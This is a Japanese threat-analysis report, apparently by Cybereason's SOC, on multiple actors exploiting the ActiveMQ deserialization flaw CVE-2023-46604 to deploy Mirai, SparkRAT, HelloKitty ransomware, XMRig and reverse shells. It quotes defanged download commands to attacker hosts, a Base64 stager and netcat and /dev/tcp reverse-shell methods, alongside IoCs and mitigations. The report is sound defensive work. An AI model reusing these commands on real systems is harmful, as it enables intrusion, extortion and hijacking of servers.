- 2024/02/01
- 脅威分析レポート
【脅威分析レポート】ActiveMQの脆弱性を悪用するメッセンジャーの脅威
Post by : Cybereason Global SOC Team
Cybereason Security Servicesでは、新たな脅威に関する情報をお客様に提供するために、脅威分析レポートを発行しています。同レポートでは、新たな脅威に関する情報をまとめた上で、それらの脅威から身を守るための実践的な推奨事項を提供します。この脅威分析レポートでは、Cybereason Security Servicesが、Linuxサーバー上で発生したインシデントを検証します。
そのインシデントとは、Apache ActiveMQを実行しているJavaプロセスを通じて悪意あるシェル(bash)を実行するというものです。ActiveMQサービスとはオープンソースのメッセージブローカーであり、異なるコンポーネントや異なる言語で記述されたサーバー間の通信をブリッジするために使用されるものです。
この脅威は、2023年10月27日にCVE-2023-46604として公開されたリモートコード実行(RCE)の脆弱性を利用していると評価されています。観測されたシェル実行には、Miraiボットネットの実行ファイル、HelloKittyランサムウェア、SparkRATの実行ファイル、およびXMRigを含むコインマイナーのような、追加のペイロードをダウンロードする試みが含まれています。導入方法としては主に自動化を採用しているものの、初期足場の1つはNetcatリバースシェルを介した対話型セッションに依存しています。
複数の脅威アクターが2023年10月11日以降、このエクスプロイトを利用しており、サイバーリーズンでは、当該端末上で確認された攻撃の多様性から、このインシデントには複数の脅威アクターが関与していると考えています。
主な調査結果
- CVE発表前の脆弱性を突いた攻撃:CVE-2023-46604は2023年10月27日に公開されましたが、Cybereasonが観測したActiveMQの脆弱性を悪用した最も古い攻撃は、2023年10月11日までさかのぼります。この攻撃キャンペーンのタイムラインは、Arctic Wolf Labsが言及したブログ記事の内容と類似しています。
- ゆっくりと進む:初期足場となる2つの方法は、シェルスクリプトとELFバイナリの組み合わせにより自動化されているようです。しかし、そのうちの1つの攻撃は、自動化されていないリバースシェルで構成されており、ほとんどが手動実行で構成されていました。この攻撃に関与している脅威アクターは、他の攻撃とは異なり、実行速度を気にしていませんでした。
- 多岐にわたるポストエクスプロイテーション:複数の脅威アクターがこのActiveMQの脆弱性を悪用しています。私たちの分析によれば、ある攻撃ではMiraiボットネットをインストールしており、別の攻撃ではランサムウェアを利用していました。さらに、3つ目の攻撃では、コインマイナーを利用していました。
■Apache ActiveMQの概要
▲メッセージングシステムの流れ
Apache ActiveMQとはオープンソースのJavaベースのメッセージブローカーであり、サーバーとクライアント間の非同期通信を必要とするメッセージベースのシステムをサポートするものです。ActiveMQの技術が有益である理由としては、次のことが挙げられます。
- リクエストを非同期に処理する必要があるシステムで利用可能
- さまざまなプログラミング言語を通じて、複数のクライアントをサポートしている
ActiveMQには現在、下記の2つのバージョンがあります。
- Classic:ActiveMQの現在のメジャーバージョンです。
- Artemis:ActiveMQの次世代メッセージングアーキテクチャです。ActiveMQの次期メジャーバージョンとなる予定です。
また、ActiveMQは、AMQP、MQTT、STOMP、OpenWireのようなさまざまなプロトコルをサポートしています。
分析
このセクションでは、脆弱性CVE-2023-46604の概要を説明するとともに、このエクスプロイトを悪用する3つの初期足場を分析します。
■CVE-2023-46604脆弱性の概要
CVE-2023-46604脆弱性を悪用することで攻撃者は、脆弱性のあるApache ActiveMQ ArtemisおよびClassicを実行している端末上で、認証されていないRCEを実行できるようになります。CVE-2023-46604の影響を受けるApache ActiveMQのバージョンは次の通りです。
- Artemis:バージョン2.31.2
- Classic:5.18.3より前のバージョン
▲CVE-2023-46604を悪用した攻撃のフローチャート
この脆弱性は、OpenWireプロトコルのデシリアライズが安全でないことが原因で発生します。この脆弱性を悪用すると、シリアライズされたクラスタイプを操作することで任意のコードを実行できるようになります。CVE-2023-46604脆弱性の悪用は、ActiveMQにバンドルされているSpring Frameworkに含まれているClassPathXmlApplicationContextを悪用するOpenWireコマンドであるEXCEPTION_RESPONSEを使用することで可能となります。ClassPathXmlApplicationContextクラスを使うと、ユーザーはHTTP経由でXMLアプリケーション設定ファイルをネットワーク経由でロードできるようになるため、攻撃者は、このXMLファイル内に任意のコードを埋め込むことでRCEを実行できるようになります。
▲XMLアプリケーション設定ファイルの例
▲CVE-2023-46604を悪用した攻撃の例
■攻撃パターン1
Apache ActiveMQ上でのリモートコード実行に成功した場合に、最もよく観測された動作は、wgetおよびcurlという2つのダウンロードコマンドを使用して、追加のペイロードをダウンロードしようとするものでした。
▲ActiveMQの悪用後に観測されたダウンロードアクティビティ
これら2つのコマンドは、異なるUnixアーキテクチャ間でシームレスに使用できるため、追加ペイロードのダウンロードに成功する確率を劇的に向上させます。この手法を使うことが観測された例を下記に示します。
■Miraiボットネットのダウンロード
Miraiボットネットのダウンローダーは、デバイスを感染させるためにActiveMQの脆弱性を活用するものです。このペイロードは、コマンド「wget hxxp://82.115.220[.]81/bins/x86」および「curl hxxp://82.115.220[.]81/bins/x86」を実行することで、ELF 32ビット形式のx86バイナリをダウンロードしようとします。
▲ボットネットをダウンロードする活動の実行フロー
■SparkRATによるC2接続
2つ目の例では、ダウンロード活動により、SparkRATとして知られるGolangで書かれたクロスプラットフォーム型のリモート管理ツール(RAT)が実行されました。
▲linux.shスクリプトの内容
このcurlコマンドは45.32.120[.]181からlinux.shをダウンロードします。linux.sh内には、2つの別々のバイナリ(lとl_x86)をダウンロードするコマンドが含まれており、同スクリプトは .X12-unixとして1つのファイルを出力します。同時に、.X12-unixはchmodによって完全なファイル権限(777)を与えられ、バックグラウンドで .X12-unixによって生成されたログを破棄するために「> /dev/null」を実行します。ダウンロード活動は、下記のスクリーンショットのように観測されます。
▲lとl_x86をダウンロードした後、.X12-unixとしてtmpフォルダに出力する
ダウンロードされた2つのファイルは、異なるバージョン(32/64ビット)を表しているか、またはプログラムを正常に実行する際に複数の依存関係を満たすために必要とされる可能性があります。この場合、ファイル「l」はヘッダが破損しているため正常に実行できませんが、ファイル「l_x86」は正常に実行できます。2つのファイルのダウンロードは、CPUアーキテクチャにかかわらずペイロードを正常に実行させたいという脅威アクターの意向を示している可能性があります。
l_x86を詳しく見てみると、このバイナリにはSparkRATのコンフィギュレーション(Spark/client/config)の一部と思われるビルドコンフィギュレーションと、組み込みのcheckUpdate機能を使用したネットワークアクティビティが含まれています。
▲SparkRATのバイナリビルド情報
■コインマイナーのインストール
Bashは、リモートIPアドレス(156.96.155[.]233)に置かれている1.shと2.shを実行します。
▲コインマイナーに関連する初期足場のプロセスツリー
このコマンドには、Linux64というファイルをダウンロードするための命令のリストが含まれています。しかし、この場合、実行は端末上にファイルをダウンロードすることに失敗します。このリモートアドレス(156.96.155[.]233)は、過去にXmrigなどのコインマイナーを配布していることが確認されています。
▲Linux64をダウンロードしようとする1.shスクリプトの内容
■ConnectBackバックドア/リバースシェルのインストール
この例では、ポート8080経由でリモートアドレス(176.105.255[.]60)に接続し、ファイルYqA4eE7nQGlrOXB6snEZqAの取得が試みられます。ダウンロードされたバイナリとリモートIPアドレスは、Unixベースのシステムで利用可能なバックドア/リバースシェルのセットであるConnectBackファミリと関連付けられています。ConnectBackは攻撃者へのリモート接続をオープンし、感染先のシステムへの完全なアクセス権と制御権を攻撃者に提供します。
▲Yqa4ee7nqglroxb6snezqaをダウンロードしようとするコマンドライン
■攻撃パターン2
▲初期足場2の概要
「初期足場1」とは異なり、2つ目の手法はBase64エンコードされたコマンドの実行を試みます。デコードされたコマンドは、脅威アクターがcurlコマンドとwgetコマンドを使用して必要なペイロードを取得する最初の方法と似ています。この実行フローは、最終的にHelloKittyランサムウェアの導入と実行につながります。
▲観測された「初期足場2」のプロセスツリー
■エンコードされたコマンドライン
▲Base64でエンコードされたBashコマンド
Base64でエンコードされたコマンドは、次の3つのセクションから構成されています。
- Echo:Base64でエンコードされたコマンドを出力します。
- Base64 -d:echo出力に含まれているエンコードされたコマンドをデコードします。
- Bash -i:デコードされたコマンドを実行します。
デコードされたBase64コマンドは、C2サーバー(172.245.16[.]125)からペイロードを取得するコマンドであるcurlとwgetで構成されています。
▲デコードされたBase64コマンドのリスト
コンテンツの取り出しに成功すると、次のセクションに示すように、いくつかの条件文が実行されます。
■HelloKittyランサムウェアのダウンロード
HelloKittyランサムウェアは2020年から存在しているランサムウェアプログラムであり、いくつかの有名なランサムウェア攻撃で使用されています。HelloKittyランサムウェアは、WindowsだけでなくLinuxにも対応しており、過去にはVMWare ESXiプラットフォームも標的にしていました。
2023年10月上旬、BleepingComputerは、このランサムウェアのソースコードがサードパーティの脅威アクターによりロシア語圏のハッキングフォーラムに流出されたことを報告しており、この流出したHelloKittyランサムウェアを他の脅威アクターが悪用する可能性があるとしています。
▲観測された「初期足場2」のプロセスツリー
curlまたはwgetコマンドによるコンテンツの取得に成功すると、実行はif-else文で構成されるbashコマンドの実行に進み、HelloKittyランサムウェアであるss64をチェックした後、それをC2サーバー(172.245.16[.]125)からダウンロードします。
▲Bash実行のフローチャート
■ランサムウェアの振る舞い
実行フローがss64のダウンロードに成功し、HelloKittyランサムウェアのGolangバイナリを.bash2として保存すると、bashは「No Hung Up(ハングアップを防ぐ)」コマンドであるnohupを使って.bash2の実行を進めます。Nohupコマンドは、プロセス(特にこの場合は.bash2)が停止するのを防ぎます。
.bash2の実行は下記のステップから構成されます。
- mysql、oracle、postgresqlのような複数のデータベース関連サービスを停止し、無効にします。
- ディレクトリを検索し、拡張子.lockedを使ってファイルを暗号化します。
- .bash2がアクセスしたすべてのディレクトリにREADME1.htmlを出力します。
- ActiveMQの所有者のホームディレクトリに、ファイルencfile1.txt、public1.txt、showkey1.txtを出力します。
- SSH経由でラテラルムーブメントを試みます。
▲.bash2によるデータベースサービスの停止
▲Hellokittyランサムウェアの身代金要求書の内容(一部)
▲SSH経由でラテラルムーブメントを試みる
■攻撃パターン3
初期足場3は、ターゲット端末にリバースシェルをセットアップするためのコマンド実行から構成されます。脅威アクターは、環境における足場を得るために下記の2つの方法を使用しています。
- bashシェルのファイル記述子(/dev/tcp/
/ ) - Netcatユーティリティー(nc
-e /bin/bash)
この活動がHelloKittyランサムウェアの実行後に行われたことに注意する必要があります。この場合、脅威アクターは、まず端末を列挙し、前述した活動に関連する可能性のあるファイルを削除した後に、悪意ある活動を実行しています。
▲初期足場3の概要
■リバースシェルのセットアップ
38.54.88[.]83および91.192.223[.]44からの2つの特徴的なコマンドが、ActiveMQの脆弱性の悪用後に観測されています。下記のスクリーンショットは、リバースシェルの作成を可能にする2つの方法を組み合わせたTCPリバースシェルペイロードを示しています。
最初のコマンドは、bashシェルのファイル記述子である/dev/tcp/
▲リバースシェルのコマンドライン例(その1)
2つ目のコマンドは、bashオプションnc -e付きのncコマンド(NetCatユーティリティ)を使用してリバースシェルを作成するものです。NetCatのバージョンによっては、nc -eオプションがサポートされていない場合や、セキュリティ上の理由で無効になっている場合があるため、脅威アクターはリバースシェルの確立に成功する可能性を高めるために、ファイル記述子とNetCatの両方の方法を組み合わせているようです。
▲リバースシェルのコマンドライン例(その2)
この2番目の例では、コマンドはシェルが被害ホストとのやりとりに使われるポート29123上でターゲット(91.192.223[.]44)へのネットワーク接続をオープンし、リバースシェルを作成しようと試みます。この例では、ファイル記述子番号171を指定し、コマンド「exec 171<>」で、171を読み書き用のファイルに関連付けています。
■観測されたインタラクティブな活動
観察されたインタラクティブな活動は、3つの異なるフェーズにわたって行われていました。
■フェーズ1:不審な活動の列挙と特定
インタラクティブな活動は、lsやwhoamiなどのコマンドを使用して、ファイル構造とユーザー権限を把握することから始まりました。その後、脅威行アクターはcatを使用して、HelloKittyランサムウェアにリンクされているファイル(.bash2、public1.txt、README1.html、encfile1.txt)や、コマンド実行履歴(.bash_hi)を含むファイルのコンテンツを表示しました。
▲catコマンドを使用してファイルを表示
■フェーズ2:HTTPサーバーの起動
列挙に続いて、脅威アクターはコマンド「python -m http.server」を通じてデフォルトのHTTPサーバーを起動しようと試みました。このデフォルトのWebサーバーはポート8000でリスナーをオープンしましたが、このプロセスは実行後すぐに終了しました。
▲HTTPサーバーを起動
HTTPサーバーが終了した直後、脅威アクターはpython3とnetstatのインストールに進みました。脅威アクターはHTTPサーバーを起動する際に、下記のような問題に遭遇した可能性があると思われます。
- サーバーを正常に確立するためのパッケージが不足している
- 依存性の問題:Python2からPython3へのアップデートが必要
- ランサムウェア実行の結果、Pythonパッケージが破損した
▲PythonとNetstatをインストール
さらに、脅威アクターは、列挙フェーズで見つかったファイルを削除しました。
▲列挙フェーズで見つかったファイルを削除
■フェーズ3 – XMRigコインマイナーのインストール
最終フェーズにおいて、脅威アクターはcurlコマンドを実行し、transfer[.]sh/EewPaMsAUA/xmrigからXMRigをダウンロードしました。ファイル名が示すように、このファイルはXMRigコインマイナーです。
▲curlコマンドにより38.54.88[.]83からXMRigのバイナリおよびXMRigのバージョンを
■ダウンロード
transfer[.]shは、ユーザーがファイルをアップロードして共有できる公開ファイル共有サービスです。これは、悪意あるアクターが悪意あるファイルをホスティングするために利用する合法的なサービスです。このケースでは、XMRigファイルがホスティングされています。
▲XMRigをホスティングするTransfer.Sh
38.54.88[.]83経由のリバースシェル活動とは異なり、91.192.223[.]44経由のリバースシェル活動は、wgetとcurlの両コマンドを使用してjQという名前のファイルを取得した後、同ファイルを/var/tmp/javaフォルダに保存しようとするものでした。
▲91.192.223[.]44からjQをダウンロード
このjQペイロードはXMRigCCとして特定されています。XMRigCCはXMRigコインマイナーですが、遠隔操作や監視機能などの追加機能が搭載されており、オペレーターがより高度な制御を行えるようになっています。
侵害の痕跡(IoC)
種類 | 値 | 説明 |
---|---|---|
IP | 34.100.208[.]153 | ApacheMQポートをスキャンするIPアドレス |
IP | 87.236.176[.]25 | ApacheMQポートをスキャンするIPアドレス |
IP | 65.49.1[.]38 | ApacheMQポートをスキャンするIPアドレス |
IP | 87.236.176[.]108 | ApacheMQポートをスキャンするIPアドレス |
IP | 167.248.133[.]52 | ApacheMQポートをスキャンするIPアドレス |
IP | 194.165.16[.]111 | ApacheMQポートをスキャンするIPアドレス |
IP | 162.142.125[.]216 | ApacheMQポートをスキャンするIPアドレス |
IP | 199.45.155[.]17 | ApacheMQポートをスキャンするIPアドレス |
IP | 184.105.247[.]254 | ApacheMQポートをスキャンするIPアドレス |
IP | 178.32.197[.]83 | ApacheMQポートをスキャンするIPアドレス |
IP | 68.69.186[.]14 | ApacheMQポートをスキャンするIPアドレス |
IP | 165.22.16[.]135 | ApacheMQポートをスキャンするIPアドレス |
IP | 82.115.220[.]81 | Miraiボットを非スティングするC2サーバー |
SHA256 | 01c6c81abf1206caf6c4004bae8c4999624228c8b1ce7514503e4150c10c21b5 | XMRigペイロード |
SHA256 | 6cb3d4d12357c63e654cf8c7062df0b07d22cf676307598bbf703de5258da519 | l_x86の前にダウンロードされるおとりファイル |
SHA256 | cdc6e88a31e3a6f559b33b1249a5c4fa44f8c254b2437a5b6b06ff8c8c4d4c1d | 32ビット版のSparkRAT |
SHA256 | c0cc0fcbbef380108d7522a778c0beb5e0ecc876bb7dd12bcbcea40ded39f321 | Miraiボット |
SHA256 | 7af5c37cc308a222f910d6a7b0759837f37e3270e22ce242a8b59ed4d7ec7ceb | HelloKittyランサムウェア |
URL | hxxps://transfer[.]sh/EewPaMsAUA/xmrig | XMRigペイロードをダウンロードするためのURLリダイレクト |
URL | hxxp://27.102.67[.]64:5678/fav.ico | .icoファイルをダウンロードするためのURL |
URL | hxxp://91.192.223[.]44:9333/jQ | XMRigをダウンロードするためのURL |
URL | hxxp://172.245.16[.]125/.exec | HelloKitty ランサムウェアのペイロードのURL |
URL | hxxp://172.245.16[.]125/down | HelloKitty ランサムウェアに関連するURL |
URL | hxxp://172.245.16[.]125/already | HelloKitty ランサムウェアに関連するURL |
URL | hxxp://172.245.16[.]125/curlfinish | HelloKitty ランサムウェアに関連するURL |
URL | hxxp://172.245.16[.]125/wgetfinish | HelloKitty ランサムウェアに関連するURL |
URL | hxxp://45.32.120[.]181/linux.sh | SparkRATをダウンロードするシェルスクリプトのURL |
URL | hxxp://156.96.155[.]233:8855/2.sh | シェルスクリプト用のURL |
URL | hxxp://156.96.155[.]233:8855/1.sh | シェルスクリプト用のURL |
URL | hxxp://27.102.128[.]152:8098/bit.ico | icoファイルをダウンロードするためのURL |
URL | hxxp://27.102.128[.]152:5678/fav.ico | icoファイルをダウンロードするためのURL |
URL | hxxp://82.115.220[.]81/bins/x86 | Miraiボットのペイロードを取得するためのURL |
URL | hxxp://153.92.1[.]49:82/e.sh | シェルスクリプト用のURL |
URL | hxxp://153.92.1[.]49:81/c.sh | シェルスクリプト用のURL |
URL | hxxp://153.92.1[.]49:83/wk.sh | シェルスクリプト用のURL |
サイバーリーズンによる推奨事項
Cybereason Defense Platformを使うと、Apache ActiveMQの悪用に関連する攻撃で観測されるポストエクスプロイト活動を検知し、それらを阻止できます。サイバーリーズンでは、次の措置を実施することを推奨しています。
- ActiveMQ環境から外部へのアクセスを制限すること。
- 組織の環境内に影響を受けるActiveMQサーバーがある場合、最新バージョンにアップグレードすること。
- 「ブロックと実行防止」フラグを使用して、前述したIoCをカスタムレピュテーションリストに追加すること。
著者について
Robin Plumer(シニアセキュリティアナリスト、Cybereason Global SOC)
Cybereason Global SOCチームのシニアセキュリティアナリスト。マルウェアオペレーションの分析とトリアージ、新たな脅威の調査に従事。英国ボーンマス大学でサイバーセキュリティ管理の学士号を取得。
Keng Wei Lin(セキュリティアナリスト、Cybereason Global SOC)
Cybereason Global SOCチームのセキュリティアナリスト。マルウェアアラートのトリアージと分析、プロアクティブハンティング、クライアント環境のプロアクティブなチューニングに従事。マルウェア分析やテストなど、サイバーセキュリティ研究に注力。
Kotaro Ogino(主席セキュリティアナリスト、Cybereason Global SOC)
Cybereason Global SOCチームの主席セキュリティアナリスト。脅威ハンティングおよびXDR(Extended Detection and Response)に従事。情報科学の理学士号取得。
【開催レポート】Cybereason XDR 導入事例共有セミナー 〜導入企業に学ぶ、Cybereason XDRによる最新のサイバーセキュリティとは〜
2023年10月に開催されたセミナー「Cybereason XDR 導入事例共有セミナー」のセッション内容をまとめました。Cybereason XDRの製品概要とその有効性を解説するとともに、株式会社オープンハウスグループ様の製品導入の目的や運用方法など導入事例についてご紹介します。
製品の導入検討にご活用ください。
https://www.cybereason.co.jp/product-documents/white-paper/11560/